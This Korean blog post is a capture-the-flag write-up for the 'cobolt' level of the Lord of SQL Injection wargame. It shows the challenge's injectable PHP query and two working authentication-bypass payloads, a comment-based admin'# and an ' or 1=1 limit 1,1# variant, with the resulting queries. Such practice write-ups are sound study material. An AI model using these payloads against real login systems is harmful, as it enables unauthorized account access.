LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 Gremlin에 이어 Cobolt 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?>
위의 문제에서 5번, 6번 라인에서는 SQL Injection 문제이니만큼 Database에 대한 직접적인 공격을 막기 위한 처리가 나타나 있습니다. 5번, 6번 라인에서는 Cobolt 문제를 막기 위한 필터링이 아닌, Cobolt 이외의 공격은 삼가해달라라는 의미입니다.
흠흠. 그렇다면 우리가 GET 형태로 넘겨줄 수 있는 값이 무엇이 있을까 살펴보도록 합시다.
7번 라인을 보시게 되면 우리가 id라는 값과, pw라는 값을 넣어서 실제로 어떻게 SQL문을 완성시켜주는지 알 수 있도록 나타내주었습니다.
위의 문제에서 혹시나 md5() 함수를 이용할까 생각해보았지만, 제 능력으로는 어떻게 이용할 수 있을지 모르겠습니다. magic hash가 아닐까 했지만 md5 내의 싱글쿼터 및 비교 구문이 없기 때문에 불가능함을 깨달았습니다.
그렇다면 pw 부분을 비활성 시키도록 하는 주석 처리 방법이 유일할 것 같습니다.
|
문제 풀이(쿼리) |
GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.
|
id 쪽에 값 삽입(주석 이용) |
만약 id쪽에 값을 넣고 싶다면 다음과 같이 입력하면 되겠습니다.
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%23 |
위의 쿼리는 id=admin'%23이라고 작성해주었습니다. %23은 # 즉, MySQL의 주석입니다.
그리고 여기서는 return 되는 아이디 값이 admin이어야 한다는 조건이 있기 때문에 id에 들어가는 값이 admin이어야 합니다.
그렇게 되면 쿼리는 다음과 같이 나타나게 됩니다.
query : select id from prob_cobolt where id='admin'#' and pw=md5('')' |
이렇게 되면 id가 admin인 값을 가져와라, 가 됩니다.
만약 admin이라는 값을 안 넣어주고 싶다면 다음과 같은 풀이도 이용해볼 수 있습니다.
|
id 쪽에 값 삽입(admin 입력 안 하고 limit 이용) |
만약 id쪽에 admin이라는 특정 값을 넣고 싶지 않다면 다음과 같이 입력하면 되겠습니다.
https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=%27%20or%201=1%20limit%201,1%23 |
위의 쿼리는 id=' or 1=1 limit 1,1%23이라고 작성해주었습니다. limit는 리턴되는 모든 값들 중에 어느 특정 지점에서 몇 개를 가져와라, 라고 지정해줄 수 있는 SQL 문법 중 하나 입니다..
id=' or 1=1을 해주게 되면, 테이블에 있는 모든 값이 리턴되게 됩니다.
그렇게 되면 admin을 포함한 여러 데이터가 나타나게 되는 것입니다.
따라서 테이블의 몇 번째 값을 하나 가져와야 하는데, limit (번째), (개수)를 가져와보았습니다.
admin은 1번째(테이블은 원래 0부터 시작합니다.)에서 하나(1)을 가져와주도록 합니다.
query : select id from prob_cobolt where id='' or 1=1 limit 1,1#' and pw=md5('')' |
이렇게 되면 리턴된 모든 값 중에서 1번째부터 1개를 가져와라, 가 되는 것입니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 09 - vampire (0) | 2019.03.27 |
---|---|
[LOS - Lord Of SQL] Level 08 - troll (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 07 - orge (0) | 2019.03.26 |
[LOS - Lord Of SQL] Level 06 - darkelf (2) | 2019.03.26 |
[LOS - Lord Of SQL] Level 05 - wolfman (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 04 - orc (2) | 2019.03.24 |
[LOS - Lord Of SQL] Level 03 - goblin (0) | 2019.03.24 |
[LOS - Lord Of SQL] Level 01 - gremlin (0) | 2019.03.24 |